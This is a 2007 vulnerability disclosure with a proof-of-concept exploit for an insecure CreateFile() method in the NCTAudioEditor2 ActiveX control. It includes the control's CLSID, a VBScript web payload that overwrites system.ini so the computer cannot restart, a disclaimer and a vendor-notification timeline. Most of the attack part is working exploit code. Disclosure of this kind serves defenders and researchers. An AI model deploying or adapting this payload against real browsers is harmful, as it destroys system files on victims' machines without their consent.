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NCTAudioEditor2.txt

Posted on 27 June 2007

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------
<b>NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method</b>
url: http://www.nctsoft.com/products/NCTAudioEditor2/

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.

Time Table: 2007/20/06 -> Bug discovered
2007/20/06 -> Vendor notified by mail
2007/21/06 -> No response, vendor notified by web form
2007/22/06 -> No response from vendor
2007/23/06 -> No response from vendor
2007/24/06 -> No response from vendor
2007/25/06 -> Public disclosure
------------------------------------------------------------------------------------------

<object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
On Error Resume Next
Dim MyMsg
If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
"Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
"THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
" OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
" SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
test.CreateFile "c:windowssystem_.ini"
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioEditor2")
Else
MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioEditor2")
End If
End Sub
</script>

</span></span>
</code></pre>

 

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